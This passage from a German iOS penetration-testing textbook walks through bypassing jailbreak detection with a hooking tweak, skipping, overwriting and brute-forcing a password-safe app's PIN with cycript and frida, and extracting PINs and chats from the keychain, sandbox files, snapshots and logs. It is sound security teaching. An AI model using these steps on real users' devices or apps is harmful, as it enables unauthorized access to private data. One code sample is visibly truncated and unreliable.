}<br />

%ctor{MSHookFunction((void*)fork,(void*)new_fork,(void**)&original_fork);}<br />

Codebeispiel 6–12: Erstellung eines weiteren Tweaks mittels Logos<br />

Möchten wir die beiden so erstellten Tweaks nun auf dem Testgerät ausführen<br />

um die Jailbreak-Erkennung zu umgehen, müssen wir sie nur noch mittels make<br />

kompilieren und die so erzeugten Dynamic Libraries auf das Gerät in das Verzeichnis<br />

/Library/<strong>Mobile</strong>Substrate/DynamicLibraries/ kopieren.<br />

Startet man nun die Applikation, die man in den Bundle filter des Tweaks<br />

eingetragen hat, so wird beim Aufruf der Methode isDeviceJailbroken automatisch<br />

der Wert NO zurückgeliefert und die Methode wird nicht weiter ausgeführt.<br />

Wenn dies die einzigen beiden Prüfroutinen waren, um einen Jailbreak zu erken-


6.3 iOS-Applikationen zur Laufzeit manipulieren 153<br />

nen, haben wir die Applikation mit unserem Tweak überlistet und sie erkennt das<br />

Gerät als vertrauenswürdig an.<br />

Meist verwenden Entwickler an mehreren Stellen solche Prüfroutinen, um es<br />

einem Angreifer möglichst schwer zu machen, die Prüfung zu manipulieren. Die<br />

Kunst des Analysten liegt darin, all diese Methoden zu finden und, wie hier beschrieben,<br />

entsprechende Laufzeitmanipulationen mittels Tweaks vorzunehmen.<br />

6.3.2 Umgehen der Applikations-PIN<br />

Laufzeitmanipulationen sind aber nicht nur beim Umgehen der Jailbreak-Erkennung<br />

sinnvoll, sondern auch an Stellen, wo man z. B. PIN-Abfragen von Applikationen<br />

umgehen muss wie bei der Applikation aus Abbildung 6–7.<br />

Abb. 6–7: Passwort-Safe-Applikation mit einer PIN-Abfrage, um vor unberechtigtem Zugriff<br />

zu schützen<br />

Diese Applikation benötigt eine 4-stellige PIN, um an die hinterlegten Daten zu<br />

gelangen. Da wir diese PIN nicht kennen, wollen wir nun versuchen, trotzdem<br />

in die Applikation zu kommen. Hierzu gibt es generell drei Methoden, die wir<br />

nachfolgend verwenden werden:<br />

1. Umgehen des Bildschirms zur PIN-Abfrage<br />

2. Überschreiben der PIN<br />

3. Brute-Forcing der PIN im Hintergrund


154 6 Sicherheitsprobleme bei iOS-Applikationen<br />

Umgehen des Bildschirms zur PIN-Abfrage<br />

Die erste Methode, um in die eigentliche Applikation und die darin gespeicherten<br />

Daten zu gelangen, ist die wohl zugleich einfachste. Wir versuchen die PIN-<br />

Abfrage einfach zu umgehen. Dies funktioniert immer dann, wenn die PIN nicht<br />

zum Entschlüsseln der Daten benötigt wird, oder wenn zu einem späteren Zeitpunkt<br />

nicht geprüft wird, ob die PIN wirklich eingegeben wurde.<br />

Das allgemeine Vorgehen ist auch hier wieder identisch zu dem in Abschnitt<br />

5.3 gezeigten: Auffinden der Applikation, Entschlüsseln und anschließender<br />

Download auf den Analyserechner. Hier startet nun die Detektivarbeit, wie<br />

wir sie auch schon im vorherigen Abschnitt angeschnitten hatten: Wir suchen<br />

mittels class-dump nach Klassen, die Bildschirmanzeigen – sogenannte Views –<br />

beschreiben. Dies liefert bei unserer zu analysierenden Applikation eine recht lange<br />

Liste mit den folgenden interessanten Inhalten (siehe Codebeispiel 6–13):<br />

@interface MainView : XXUnknownSuperclass {<br />

....<br />

}<br />

Codebeispiel 6–13: Interessante Views innerhalb unserer zu analysierender Applikation<br />

Dieses Interface hört sich ganz nach dem eigentlichen Hauptbildschirm der Applikation<br />

an, der nach erfolgreicher Prüfung der PIN angezeigt wird. Im Folgenden<br />

wollen wir testen, ob wir an diesen Bildschirm auch dann gelangen, wenn wir die<br />

PIN nicht wissen, und ob dann auch alle Nutzerdaten vorhanden sind. Dazu müssen<br />

wir cycript an die laufende Applikation anhängen und der UIApp.keyWindow-<br />

Variablen sagen, dass nicht die PIN-Abfrage, sondern der MainView angezeigt werden<br />

soll (siehe dazu Codebeispiel 6–14).<br />

# zuerst benötigen wir die PID der zu analysierenden Applikation<br />

$: ps aux | grep Password\ Keeper\ Lite<br />

mobile 793 17.8 4.2 646236 43688 ?? Ss 5:42PM 0:04.03 /var/mobile/Containers/<br />

Bundle/Application/7AA5C9A9-633A-462E-8479-8C4952C79F84/Password Keeper<br />

Lite.app/Password Keeper Lite<br />

# nun verbinden wir cycript mit der laufenden Applikation<br />

$: cycript -p 793<br />

cy:


6.3 iOS-Applikationen zur Laufzeit manipulieren 155<br />

# in diesem Schritt teilen wir der Applikation mit, dass sie uns die MainView<br />

anzeigen soll und nicht die PIN-Abfrage<br />

cy: UIApp.keyWindow.rootViewController = [[MainView alloc] init];<br />

""<br />

cy:<br />

Codebeispiel 6–14: Umgehen der PIN-Abfrage mittels cycript<br />

Bei dieser Applikation funktioniert der gezeigte Angriff und wir sind an der PIN-<br />

Abfrage vorbeigekommen und können nun alles sehen, was der legitime Nutzer<br />

eingegeben hat. Doch das ist nicht immer so einfach möglich, da viele Entwickler<br />

sich diesen Angriffen bewusst sind und die Daten – gerade bei solchen Applikationen<br />

– mit der Nutzer-PIN verschlüsseln. In diesem Fall ist es nötig, die reale<br />

PIN zu wissen, um die Daten lesen zu können.<br />

Überschreiben der vom Nutzer hinterlegten PIN<br />

In manchen Situationen ist es durchaus sinnvoll, einfach die PIN des Nutzers zu<br />

überschreiben, um so Zugriff auf die Applikation zu bekommen. Das können<br />

wir mit der Hilfe von Snoop-it erreichen (siehe dazu Abbildung 6–8) oder mittels<br />

frida wie in Codebeispiel 6–15 gezeigt.<br />

Python 2.7.10 (default, Oct 23 2015, 19:19:21)<br />

[GCC 4.2.1 Compatible Apple LLVM 7.0.0 (clang-700.0.59.5)] on darwin<br />

Type "help", "copyright", "credits" or "license" for more information.<br />

>>> import frida,sys<br />

>>> frida.get_device_manager().enumerate_devices()<br />

[Device(id="local", name="Local System", type='local'),<br />

Device(id="tcp", name="Local TCP", type='remote'),<br />

Device(id="460683e35xxxx02526d", name="iPhone", type='tether')]<br />

>>> jscode = """<br />

... var AppDelegate = ObjC.use("AppDelegate");<br />

... AppDelegate.newPassword_("1111");<br />

... """<br />

>>> process = frida.get_device_manager().enumerate_devices()[2].attach(793)<br />

>>> session = process.session<br />

>>> script = session.create_script(jscode)<br />

>>> script.load()<br />

Codebeispiel 6–15: Überschreiben der Nutzer-PIN mittels frida


156 6 Sicherheitsprobleme bei iOS-Applikationen<br />

Abb. 6–8: Überschreiben der Nutzer-PIN mittels Snoop-it


6.3 iOS-Applikationen zur Laufzeit manipulieren 157<br />

In diesem einfachen Beispiel einer Instrumentation mithilfe von frida können wir<br />

das grobe Vorgehen sehr gut erkennen. Wir starten die interaktive Python-Shell<br />

auf unserem Analyserechner und importieren zuerst die frida-Bindings für Python.<br />

Danach schreiben wir ein kleines Codefragment in JavaScript, das später<br />

mit frida ausgeführt wird. Der Aufbau des Skriptes ist vergleichbar mit dem,<br />

wie wir es in cycript auch machen würden. Wir suchen die entsprechende Klasse<br />

(AppDelegate) und die darin benötigte Methode (newPassword). Dieser übergeben<br />

wir die neue PIN, die wir gerne gesetzt hätten.<br />

Im Nachgang verbinden wir frida mit unserem angeschlossenen Gerät und<br />

koppeln unser Skript mit der PID 793 (das ist die laufende Applikation, die wir<br />

manipulieren möchten). Die richtige PID finden wir über die Eingabe von frida-ps<br />

-U heraus und das passende Endgerät erhalten wir über den zweiten Codeschnipsel<br />

in Codebeispiel 6–15 (frida.get_device_manager().enumerate_devices()). Hierbei<br />

ist nur wichtig darauf zu achten, dass man nicht die id verwendet, die dieser<br />

Aufruf zurückgibt, sondern bei 0 beginnend die Listenelemente durchzählt. So<br />

erhalten wir als id für unser Testgerät die 2.<br />

Brute-Forcing der Applikations-PIN<br />

In vielen Fällen kann es sinnvoll sein, die PIN eines Nutzers bei einer gewissen<br />

Applikation per Brute-Force-Angriff zu erraten. Dies ist nicht nur dann wichtig,<br />

wenn es wie im Abschnitt zuvor gezeigt darum geht, auf die Applikation selbst<br />

zuzugreifen, sondern auch in Fällen, wo auf dem Endgerät noch mehr Applikationen<br />

mit PIN-Sperren vorhanden sind. Hier kann man davon ausgehen, dass<br />

überall dieselbe – oder zumindest eine ähnliche – PIN verwendet wird, und man<br />

muss nicht bei jeder Applikation die zuvor gezeigten Angriffe vornehmen.<br />

Auch hier helfen uns wieder cycript und class-dump. Wenn wir uns nochmals<br />

die Ausgabe von class-dump ansehen, so finden wir auch eine Methode mit dem<br />

Namen checkPassword innerhalb der delegate-Klasse. Diese Methode können wir<br />

verwenden, um eine PIN zu prüfen (wie in Codebeispiel 6–16 gezeigt).<br />

# zuerst benötigen wir die PID der zu analysierenden Applikation<br />

$: ps aux | grep Password\ Keeper\ Lite<br />

mobile 793 17.8 4.2 646236 43688 ?? Ss 5:42PM 0:04.03 /var/mobile/Containers/<br />

Bundle/Application/7AA5C9A9-633A-462E-8479-8C4952C79F84/Password Keeper<br />

Lite.app/Password Keeper Lite<br />

# nun verbinden wir cycript mit der laufenden Applikation<br />

$: cycript -p 793<br />

cy:


158 6 Sicherheitsprobleme bei iOS-Applikationen<br />

# in diesem Schritt prüfen wir eine PIN<br />

cy: [UIApp.delegate checkPassword:"4711"]<br />

0<br />

cy:<br />

Codebeispiel 6–16: Prüfen einer PIN mittels cycript<br />

Wie wir anhand der Rückgabe der Methode sehen, war 4711 die falsche PIN.<br />

Aber dies können wir nun auch nutzen, um eine einfache Funktion in cycript zu<br />

schreiben, die uns per Brute-Force-Angriff die richtige PIN ermittelt – immerhin<br />

gibt es bei 4-stelligen PINs nur 10.000 verschiedene PINs und diese sind auf<br />

heutigen Smartphones in relativ kurzer Zeit zu testen. Die fertige Funktion zeigt<br />

Codebeispiel 6–17.<br />

cy: var pin=0000;<br />

0000<br />

cy: function bruteforcePIN()<br />

cy> {<br />

cy> for(var i=0; i {<br />

cy> var result = [UIApp.delegate checkPassword:""+i];<br />

cy> if(result=="1") pin=i;<br />

cy> }<br />

cy> }<br />

cy: bruteforcePIN()<br />

cy: print:pin;<br />

4242<br />

Codebeispiel 6–17: Brute-Force-Angriff auf eine PIN mittels cycript<br />

Hier sehen wir, dass die PIN für die Applikation 4242 lautet. Man muss allerdings<br />

dazusagen, dass diese Applikation keinen Zähler für falsch eingegebene PINs besitzt,<br />

ansonsten müssten wir nach jedem Versuch diesen Zähler wieder auf 0 zu<br />

setzen versuchen, bevor wir den kritischen Wert erreichen und die Daten innerhalb<br />

der Applikation u. U. gelöscht werden.


6.4 Spurensuche im Dateisystem 159<br />

6.4 Spurensuche im Dateisystem<br />

Wie wir schon bei Android in Abschnitt 4.7 gesehen haben, besteht eine der wichtigsten<br />

Aufgaben, die jeder Penetrationstester verfolgen sollte, darin, die Speicherung<br />

der Daten zu analysieren, die eine Applikation verarbeitet. Auch bei iOS<br />

lassen sich hier sehr häufig Hinweise auf Nutzerdaten (wie z. B. Passwörter und<br />

Applikations-PINs) und sensible Dokumente finden, die mit der Applikation zuvor<br />

verarbeitet wurden.<br />

Im Gegensatz zu Android gibt es bei iOS aktuell keinen bekannten Weg, wie<br />

man an der Bildschirmsperre oder der Geräteverschlüsselung vorbeikommt, ohne<br />

dass man die Mitarbeit des Nutzers erhält. Es gibt Sonderfälle – wie z. B. das<br />

zeitgleiche Analysieren eines mit dem iOS-Endgerät gekoppelten PCs oder das<br />

Vorhandensein des Zugriffs auf das iCloud-Backup –, auf die wir im Rahmen<br />

dieses Buches aber nicht näher eingehen möchten.<br />

Da wir in diesem Buch den Sicherheitsanalysten im Fokus haben – und dieser<br />

meist auch im Besitz des Codes für die Bildschirmsperre ist –, gehen wir davon<br />

aus, dass der Zugriff auf das iOS-Endgerät nicht eingeschränkt ist. Im Rahmen<br />

der kommenden Abschnitte zeigen wir interessante Daten und deren Speicherort,<br />

die für einen Sicherheitsanalysten immer einen Blick wert sind. Zu diesen Orten<br />

zählen neben der bekannten Keychain (Abschnitt 6.4.1) vor allem die Snapshots<br />

der Applikation (Abschnitt 6.4.3) und die Cache-Dateien des Betriebssystems<br />

(Abschnitt 6.4.6).<br />

6.4.1 Die Keychain und ihre Daten<br />

In Abschnitt 1.2.3 haben wir bereits die Grundfunktionen und verschiedenen<br />

Schutzklassen der Keychain kennengelernt. Im Folgenden soll verdeutlicht werden,<br />

weshalb es wichtig ist, die Inhalte der Keychain sowie die unterschiedlichen<br />

Schutzklassen genau zu betrachten.<br />

Um die gesamte Keychain auslesen zu können, verwenden wir wie in Abschnitt<br />

6.1.5 gezeigt das Tool Keychain-Dumper. Der damit erzeugte Dump,<br />

beinhaltet die komplette Keychain mit allen dort hinterlegten Passwörtern, Nutzernamen<br />

und Zertifikaten. Doch bei vielen Applikationen findet man hier auch<br />

die PIN, mit der die Applikation vor unberechtigten Dritten geschützt wird<br />

(wie am Beispiel von einer Office-Applikation mit Passwortschutz in Codebeispiel<br />

6–18 zu sehen). Diese PIN kann uns oft weiterhelfen, um zu verifizieren, ob<br />

gewisse – sensible – Daten überhaupt in der Applikation vorhanden sind und ob<br />

sie anhand dieser PIN verschlüsselt abgelegt werden.


160 6 Sicherheitsprobleme bei iOS-Applikationen<br />

Generic Password<br />

----------------<br />

Service:<br />

Account:<br />

Entitlement Group: 9ZYVGY3S6N.com.bytesquared.office2ipad<br />

Label:<br />

Generic Field: com.bytesquared.office2hd.app_passcode<br />

Keychain Data: 5566<br />

Codebeispiel 6–18: Applikations-PIN unverschlüsselt in der Keychain<br />

Noch wichtiger ist jedoch die Überprüfung, welche Schutzklassen Daten haben,<br />

die in der Keychain abgelegt werden. Für besonders kritische Daten erwartet<br />

man von einer Applikation, dass sie diese mit einer Nutzer-PIN verschlüsselt in<br />

der Keychain ablegt. Hiermit wird eine zusätzliche Schutzschicht eingezogen, die<br />

auch durch einen Jailbreak nicht ohne Weiteres umgangen werden kann.<br />

Aber wie sieht es mit anderen – zumeist ebenfalls kritischen – Daten aus? Hier<br />

möchte man als Sicherheitsanalyst, dass stets das höchstmögliche Schutzniveau<br />

gewählt wird, das verfügbar ist (vergleiche dazu auch Tabelle 1–3). Im Falle der<br />

Keychain also kSecAttrAccessibleWhenUnlocked.<br />

Um dies zu prüfen, können wir auf einige der bereits vorgestellten Tools zurückgreifen<br />

(z. B. Snoop-it und idb). Im folgenden Beispiel wählen wir eine Third-<br />

Party-Notes-Applikation und Snoop-it, um uns anzeigen zu lassen, welche Daten<br />

in der Keychain abgelegt werden und welche entsprechenden Schutzklassen von<br />

den Applikationsentwicklern gewählt wurden (siehe Abbildung 6–9).<br />

In diesem Beispiel zeigt uns Snoop-it schon direkt an, dass die Zugriffe auf<br />

die Keychain (zu sehen an den ausgefüllten Kreisen links in der Abbildung) grün<br />

Abb. 6–9: Auswertung der Keychain-Zugriffe einer Third-Party-Notes-Applikation mittels<br />

Snoop-it


6.4 Spurensuche im Dateisystem 161<br />

sind, was so viel bedeutet wie: Der maximale Schutz ist für diesen Eintrag in der<br />

Keychain gewählt worden. Dies ist jedoch nicht bei allen Applikationen so.<br />

6.4.2 Die Applikations-Sandbox und ihre Daten<br />

Wie wir auch schon bei Android gesehen haben, besitzt jede Applikation bei iOS<br />

eine eigene Sandbox – also einen geschützten Bereich, in dem sie ihre Daten verwalten<br />

und sichern kann. Neben den in den folgenden Abschnitten beschriebenen<br />

Dateien finden sich hier vornehmlich SQLite-Datenbanken, plist-Dateien und alles,<br />

was die Applikation noch verarbeitet.<br />

Beim Analysieren dieser Dateien gibt es zwei wesentliche Fragestellungen,<br />

denen wir als Analyst nachgehen müssen:<br />

■<br />

■<br />

Was speichert die Applikation in ihrer Sandbox überhaupt?<br />

Wie speichert sie es?<br />

Die zweite Frage ist in den meisten Fällen deutlich einfacher zu beantworten,<br />

da es hierfür ausreicht, die NSFileProtection-Level der verwendeten Dateien und<br />

Verzeichnisse zu prüfen. Hierfür können wir wieder die zuvor erwähnten Tools<br />

Snoop-it, idb oder auch FileDP verwenden.<br />

Zuerst wird mit idb gezeigt, wie einfach herauszufinden ist, welche Schutzklassen<br />

auf Dateisystemebene verwendet werden. Dazu wählen wir eine weitere<br />

Applikation zum angeblich sicheren Speichern von Notizen: Notes Locker.<br />

Wie in Abbildung 6–10 zu sehen ist, besitzt die Applikation mehrere Verzeichnisse<br />

innerhalb ihrer Sandbox (von idb als Data Dir bezeichnet). Von besonderem<br />

Interesse sind bei solchen Analysen immer Dateien innerhalb des<br />

Documents-Verzeichnisses und natürlich auch das Preferences-Verzeichnis (auf deren<br />

Inhalt werden wir später noch zurückkommen). Betrachten wir die markierten<br />

Bereiche, so sehen wir, dass es innerhalb von Documents eine Datei namens<br />

notesLocker.sqlite gibt, die jedoch nur eine Schutzklasse von NSFileProtection-<br />

None besitzt, also keinerlei der von iOS vorgegebenen Verschlüsselungsstufen verwendet.<br />

Dies bedeutet, dass diese Datei zu keinem Zeitpunkt verschlüsselt auf<br />

dem Gerät vorliegt. Eine solche Einstellung sollte nur dann der Fall sein, wenn<br />

keinerlei Daten, die den Nutzer betreffen, innerhalb dieser Datenbank liegen.<br />

Doch wenn man sich deren Inhalt genauer betrachtet, so sieht man, dass hier<br />

alle Notizen des Nutzers gesichert und somit für jeden Angreifer frei zugänglich<br />

sind (siehe Abbildung 6–11).<br />

Dies zeigt recht anschaulich, dass der Sperrbildschirm der Applikation, der<br />

nur mit korrekter 4-stelliger PIN umgangen werden kann, nur vor einem unberechtigten<br />

Dritten schützt, der über die GUI versucht, Daten zu entwenden.<br />

Doch sobald ein Angreifer Zugriff auf Dateisystemebene oder mittels forensischer<br />

Werkzeuge besitzt, sind die Notizen nicht länger geschützt. Betrachten wir nun<br />

noch das schon erwähnte Preferences-Verzeichnis, so sehen wir eine plist-Datei,


162 6 Sicherheitsprobleme bei iOS-Applikationen<br />

Abb. 6–10: Auswertung der Schutzklassen auf Dateisystemebene der Notes Locker Applikation<br />

mittels idb<br />

Abb. 6–11: Analyse der notesLocker.sqlite-Datei<br />

die per NSFileProtectionCompleteUntilFirstUserAuthentication geschützt ist. Also<br />

immer dann verschlüsselt ist, wenn das Smartphone oder Tablet ausgeschaltet ist<br />

oder nach dem Reboot kein Nutzer auf dem Endgerät den Bildschirm entsperrt<br />

hat. Dies ist eine sehr häufige Schutzklasse, da sie der Defaultwert auf iOS 9.x-<br />

Endgeräten ist, sollte der Entwickler nichts anderes angegeben haben. Prinzipiell<br />

ist dies für die meisten Dateien auch vollkommen ausreichend, jedoch sollte für


6.4 Spurensuche im Dateisystem 163<br />

Dateien mit kritischem Inhalt die Klasse NSFileProtectionComplete gewählt werden<br />

(die Unterschiede dieser beiden Klassen sind in Abschnitt 1.2.3 beschrieben).<br />

Sobald wir einen Blick in diese plist-Datei werfen, sehen wir, dass hier gleich<br />

mehrere Fehler des Entwicklers gemacht wurden (siehe Abbildung 6–12). Zum<br />

einen beinhaltet diese Datei die sehr kritische PIN 4711, die zum Entsperren der<br />

Applikation selbst benötigt wird, im Klartext. Zum anderen besitzt sie mit der<br />

PIN und dem vom Nutzer eingegebenen Passworthinweis this is the hint auch<br />

kritischen Inhalt und sollte mit der höchstmöglichen Schutzklasse geschützt werden.<br />

Abb. 6–12: Analyse der plist-Datei von Notes Locker<br />

Möchten wir bei einer Analyse die Schutzklassen von allen Dateien innerhalb<br />

der Sandbox auf einen Blick erhalten, so geht dies unter Verwendung von FileDP<br />

(siehe dazu auch Abschnitt 6.1.6) deutlich einfacher. Codebeispiel 6–19 zeigt dies<br />

am Beispiel der gerade beschriebenen Applikation.<br />

$: ./FileDP -d /private/var/mobile/Containers/Data/Application/8AA4F1C7<br />

-8475-44F7-A448-FF733D756B3A/<br />

2016-03-30 17:13:54.056 FileDP[1004:28036] file name is:/private/var/mobile/<br />

Containers/Data/Application/8AA4F1C7-8475-44F7-A448-FF733D756B3A/.com.<br />

apple.mobile_container_manager.metadata.plist - protection class:<br />

NSFileProtectionNone<br />

2016-03-30 17:13:54.062 FileDP[1004:28036] file name is:/private/var/mobile/<br />

Containers/Data/Application/8AA4F1C7-8475-44F7-A448-FF733D756B3A/<br />

Documents/notesLocker.sqlite - protection class:NSFileProtectionNone<br />

....<br />

2016-03-30 17:13:54.067 FileDP[1004:28036] file name is:/private/var/mobile/<br />

Containers/Data/Application/8AA4F1C7-8475-44F7-A448-FF733D756B3A/Library<br />

/Caches/Snapshots/com.redstonztechnologies.noteslockerfree/20B23C58-B9CD<br />

-4469-A795-AE4C216AEF9A@2x.png - protection class:<br />

NSFileProtectionCompleteUnlessOpen


164 6 Sicherheitsprobleme bei iOS-Applikationen<br />

2016-03-30 17:13:54.069 FileDP[1004:28036] file name is:/private/var/mobile/<br />

Containers/Data/Application/8AA4F1C7-8475-44F7-A448-FF733D756B3A/Library<br />

/Caches/Snapshots/com.redstonztechnologies.noteslockerfree/downscaled/<br />

E462634B-0F8F-4F66-B6CD-C265D0626190@2x.png - protection class:<br />

NSFileProtectionCompleteUnlessOpen<br />

....<br />

2016-03-30 17:13:54.115 FileDP[1004:28036] file name is:/private/var/mobile/<br />

Containers/Data/Application/8AA4F1C7-8475-44F7-A448-FF733D756B3A/Library<br />

/Preferences/com.redstonztechnologies.noteslockerfree.plist - protection<br />

class:NSFileProtectionCompleteUntilFirstUserAuthentication<br />

2016-03-30 17:13:54.116 FileDP[1004:28036] file name is:/private/var/mobile/<br />

Containers/Data/Application/8AA4F1C7-8475-44F7-A448-FF733D756B3A/<br />

StoreKit/receipt - protection class:<br />

NSFileProtectionCompleteUntilFirstUserAuthentication<br />

Codebeispiel 6–19: Auswertung der Schutzklassen auf Dateisystemebene der Applikation<br />

Notes Locker mittels FileDP<br />

Wie wir gerade schon gesehen haben, sind die Schutzklassen ein wichtiger Aspekt<br />

einer Analyse, jedoch sind die eigentlichen Inhalte der innerhalb der Sandbox gesicherten<br />

Daten noch viel interessanter. Dies wird noch deutlicher, wenn wir das<br />

Beispiel Skype betrachten. Hier hat es uns Microsoft noch etwas einfacher gemacht,<br />

denn dieses Mal benötigen wir weder einen Jailbreak noch weitere Tools,<br />

es reicht die Verwendung von iTunes, wie in Abbildung 6–13 zu sehen ist.<br />

Hierüber erhalten wir alle Verläufe, die der Nutzer der Skype-Applikation<br />

auf diesem iOS-Endgerät mit seinen Kontakten geführt hat, und dies in sehr übersichtlichen<br />

plist-Dateien. So etwas sollte für solch sensible Daten jedoch in professionellen<br />

Applikationen nicht vorkommen und stellt hier eher die Ausnahme –<br />

oder einen Bug – dar.<br />

Das soeben anhand von zwei Applikationen demonstrierte Vorgehen zeigt<br />

aber auch, dass man sich die Dateien in der Sandbox sehr gründlich anschauen<br />

sollte, da hier meist die wichtigsten Informationen aus forensischer Sicht liegen,<br />

teilweise sogar PINs oder Passwörter, die eine tiefere Analyse deutlich erleichtern.<br />

6.4.3 Der Snapshot einer Applikation<br />

Apple hat in iOS eine für den Nutzer hilfreiche und hübsche Funktion eingebaut,<br />

die es ermöglicht, beim Wechsel zwischen einzelnen Applikationen zu sehen, was<br />

der zuletzt angezeigte Bildschirm der jeweiligen Applikation war. Hierzu erzeugt<br />

iOS sogenannte Snapshots, also Schnappschüsse, der Applikation und speichert<br />

diese innerhalb der Sandbox. Dies geschieht immer dann, wenn der Nutzer eine<br />

Applikation verlässt, um zurück zum Homescreen zu kommen (z. B. durch<br />

Drücken der Home-Taste), beim Sperren des Bildschirms oder wenn ein Anruf


6.4 Spurensuche im Dateisystem 165<br />

Abb. 6–13: Chat-Verlauf von Skype mittels iTunes auslesen<br />

eingeht und die gerade verwendete Applikation in den Hintergrund verschoben<br />

wird. Wie man sich gut vorstellen kann, können diese Snapshots auch vertrauliche<br />

Inhalte haben, wenn z. B. ein Anruf eingeht, während der Nutzer gerade dabei<br />

war, eine E-Mail zu schreiben.<br />

Abbildung 6–14 zeigt sehr schön, dass Chrome den Inhalt der Webseite in<br />

einem Snapshot speichert, bevor er in den Hintergrund geschickt wird, Applikationen<br />

wie Signal oder Threema jedoch diesen Snapshot mit einem vordefinierten<br />

leeren Bild ersetzen, sodass keine sensiblen Informationen in einem Snapshot gespeichert<br />

werden. Auch Banking-Applikationen sollten dieses Verhalten an den<br />

Tag legen, da deren Inhalte prinzipiell nicht für Dritte bestimmt sind.<br />

Für uns als Analysten ist es natürlich wichtig, zu wissen, wo wir diese<br />

Snapshots im Dateisystem finden können, da sie oft wichtige Informationen beinhalten,<br />

die u. U. auf dem Endgerät sonst nur verschlüsselt – oder im schlechtesten<br />

Fall – gar nicht mehr vorhanden sind. Dazu müssen wir auf dem iOS-Endgerät<br />

in das zur fragwürdigen Applikation gehörende Sandbox-Verzeichnis navigieren.<br />

Dort findet sich im Ordner /var/mobile/Containers/Data/Application/<br />

/Library/Caches/Snapshots/ oder<br />

/var/mobile/Containers/Data/Application//Library/Caches/<br />

Snapshots//downscaled/ meist eine Datei mit der<br />

Endung png. Der Unterschied der beiden Dateien liegt lediglich darin, dass sie<br />

den Snapshot in verschiedenen Auflösungen speichern.


166 6 Sicherheitsprobleme bei iOS-Applikationen<br />

Abb. 6–14: iOS-Taskmanager mit Snapshots verschiedener Applikationen<br />

Diese Dateien können bei einer Analyse einer Applikation sehr wichtig sein und<br />

sollten daher immer betrachtet werden.<br />

Für Applikationen, die vertrauliche oder kritische Inhalte verarbeiten sollen,<br />

bietet iOS über die willEnterBackground-API die Möglichkeit, diesen Snapshot<br />

durch ein vordefiniertes Bild zu ersetzen (wie dies in der Applikation aussehen<br />

könnte, siehe Codebeispiel 6–20).<br />

- (void)applicationDidEnterBackground:(UIApplication *)application<br />

{<br />

UIImageView *imageView = [[UIImageView alloc]<br />

initWithFrame:self.window.bounds];<br />

imageView.tag = 101;<br />

[imageView setImage:[UIImage imageNamed:@"Default.png"]];<br />

[UIApplication.sharedApplication.keyWindow.subviews.lastObject<br />

addSubview:imageView];<br />

}<br />

Codebeispiel 6–20: Erzeugen eines Splash Screen, der verhindert, dass Daten der Applikation<br />

in einem Snapshot enthalten sind


6.4 Spurensuche im Dateisystem 167<br />

6.4.4 Die systemeigenen Logs<br />

Entwickler mögen es, wenn sie während der Entwicklung von Applikationen Logausgaben<br />

verwenden können, um zu sehen, ob ihre Applikation auch das macht,<br />

was sie von ihr erwarten. Aus der PC-Welt kennen wir das, dort wird häufig –<br />

abhängig von der verwendeten Programmiersprache – printf() verwendet; bei<br />

Skriptsprachen ist es hingegen meist etwas wie print() oder console.log(). Vergleichbares<br />

gibt es auch bei iOS, hier heißt es NSLog.<br />

Der große Nachteil an NSLog ist jedoch, dass diese Ausgaben dort längere Zeit<br />

gecacht werden und jedem zur Verfügung stehen, der im physischen Besitz des<br />

entsprechenden iOS-Endgerätes ist. Dazu reicht es, wenn man das Gerät per USB<br />

mit einem Analyserechner und Xcode verbindet und dort in die Device-Ansicht<br />

wechselt (siehe Abbildung 6–15).<br />

Abb. 6–15: Xcode mit der Logausgabe eines verbundenen iOS-Endgerätes<br />

Selbige Ausgaben können wir auch mittels des in Abschnitt 6.1.3 beschriebenen<br />

Tools idb beschaffen, in dem wir dort einfach auf den Button Log klicken (siehe<br />

Abbildung 6–16).<br />

In diesen beiden Abbildungen sieht man sehr schön, dass hier per NSLog der<br />

Name des erfolgreich eingeloggten Nutzers ausgegeben wird. Dies sollte bei Applikationen,<br />

die den Betastatus verlassen haben oder bereits über die offiziellen<br />

Stores verteilt werden, nie der Fall sein. Leider sehen wir ein solches Verhalten<br />

aber öfter, weshalb das sorgfältige Prüfen der Logausgaben immer zu den Aufgaben<br />

eines Analysten gehört.


168 6 Sicherheitsprobleme bei iOS-Applikationen<br />

Abb. 6–16: idb mit der Logausgabe eines verbundenen iOS-Endgerätes<br />

6.4.5 Die Zwischenablage<br />

Zwischenablagen (engl. Pasteboards) gibt es auch in iOS und sie machen das<br />

Leben für den Nutzer um ein ganzes Stück einfacher. Jedoch haben die meisten<br />

dieser Pasteboards auch ein großes Problem, sobald es um Sicherheit geht: Sie<br />

haben keinerlei Zugriffsschutz.<br />

iOS bietet mehrere Typen von Pasteboards an, aus denen ein Entwickler wählen<br />

kann, möchte er die gewünschte Funktionalität in seine Applikation integrieren:<br />

■<br />

■<br />

■<br />

UIPasteBoardNameGeneral: Diese Zwischenablage ist der eigentliche Default.<br />

Immer wenn ein Nutzer Text oder Objekte kopiert oder ausschneidet, landen<br />

sie hier. Die Inhalte sind öffentlich.<br />

UIPasteBoardNameFind: Diese Zwischenablage speichert alle Werte, die in Suchfelder<br />

des Typs UISearchBar eingegeben werden. Die Inhalte sind jedoch ebenfalls<br />

öffentlich.<br />

pasteBoardWithName sowie auch pasteBoardWithUniqueName sind seit iOS 7 private<br />

Zwischenablagen, auf die nur Applikationen zugreifen können, die in<br />

einer vorher definierten Gruppe Mitglied sind.<br />

Möchte man also zwischen mehreren eigenen Applikationen Daten austauschen,<br />

und zwar so, dass keine andere Applikation darauf zugreifen kann, so kann man<br />

eine eigene Gruppe definieren und Daten über ein Pasteboard des Typs paste-<br />

BoardWithUniqueName austauschen. Hierbei kann man als Entwickler sogar zulassen,<br />

dass dieses Pasteboard nach einem Neustart noch vollständig vorhanden ist.<br />

Der Nachteil ist jedoch auch leicht erklärt: Diese Pasteboards werden von iOS<br />

im Dateisystem unter dem Pfad /private/var/mobile/Library/Caches/com.apple<br />

.UIKit.pboard/ abgelegt und genau dort sind sie für einen Angreifer oder Analysten<br />

auch einfach zu finden. Wer nicht manuell durch das Dateisystem suchen<br />

möchte, kann an dieser Stelle auch idb verwenden, das Tool erlaubt es, sowohl


6.4 Spurensuche im Dateisystem 169<br />

die öffentlichen als auch privaten Pasteboards (sofern man ihren Namen kennt)<br />

auszulesen.<br />

Verwendet eine Applikation hingegen die öffentlichen Pasteboards UIPaste-<br />

BoardNameGeneral und UIPasteBoardNameFind, so kann jede andere Applikation –<br />

auch ohne Jailbreak – auf diese Zwischenablagen zugreifen und dort nach speziellen<br />

Werten oder Inhalten suchen. Gerade Passwortmanager sind hierfür anfällig,<br />

